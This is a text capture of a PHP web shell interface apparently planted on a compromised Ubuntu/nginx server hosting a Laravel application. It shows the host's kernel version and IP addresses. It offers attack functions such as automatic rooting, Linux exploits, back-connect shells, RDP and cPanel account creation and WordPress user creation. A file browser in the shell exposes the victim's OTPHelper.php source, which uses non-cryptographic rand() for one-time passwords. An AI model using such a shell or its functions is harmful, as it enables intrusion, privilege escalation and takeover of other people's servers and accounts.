Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.1
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
sdg.amatya.biz-8 /
app /
Helpers /
[ HOME SHELL ]
Name
Size
Permission
Action
Calendar.php
12.12
KB
-rw-rw-r--
ConfigHelper.php
617
B
-rw-rw-r--
Constant.php
446
B
-rw-rw-r--
DateHelper.php
15.22
KB
-rw-rw-r--
Helper.php
4.03
KB
-rw-rw-r--
NepaliDateHelper.php
19.86
KB
-rw-rw-r--
NepaliNumberHelper.php
5.15
KB
-rw-rw-r--
OTPHelper.php
2.34
KB
-rw-rw-r--
ProjectHelper.php
17.89
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : OTPHelper.php
<?php namespace App\Helpers; use App\Models\OTPService; class OTPHelper { public function isValidOTP($otp, $otp_for, $otp_service_type) { $model = OTPService::where(['otp' => $otp, 'otp_for' => $otp_for, 'otp_service_type' => $otp_service_type])->first(); if (!$model) { return false; } $diff_in_mins = ktm_diff_now($model->otp_generated_date, 'min'); if ($diff_in_mins <= $model->otp_valid_minutes) { return true; } return false; } public function generateOTP($otp_for, $otp_valid_minutes, $otp_service_type) { $model = OTPService::where(['otp_for' => $otp_for, 'otp_service_type' => $otp_service_type])->first(); if (!$model) { $model = new OTPService; $model->otp_for = $otp_for; $model->otp_service_type = $otp_service_type; $model->otp_valid_minutes = $otp_valid_minutes; $model->otp_generated_date = now(); $model->otp = $this->produceRandomInteger(Constant::OTP__DIGITS); $model->save(); return $model; } else { $otp = $this->produceRandomInteger(Constant::OTP__DIGITS); $model->otp = $otp; $model->otp_generated_date = now(); $model->otp_valid_minutes = $otp_valid_minutes; $model->save(); return $model; } } private function produceRandomInteger($digits) { return rand(pow(10, $digits - 1), pow(10, $digits) - 1); } public function retrieveOTP($otp_for, $otp_service_type) { $model = OTPService::where(['otp_for' => $otp_for, 'otp_service_type' => $otp_service_type])->first(); return $model; } public function isValid(OTPService $model) { if (!$model) { return false; } $diff_in_mins = ktm_diff_now($model->otp_generated_date, 'min'); if ($diff_in_mins <= $model->otp_valid_minutes) { return true; } return false; } public function expiresInMinutes(OTPService $model) { if (!$model) { return 0; } $diff_in_mins = ktm_diff_now($model->otp_generated_date, 'min'); $diff = $model->otp_valid_minutes - $diff_in_mins; if($diff <= 0) return 0; else return $diff; } }
Close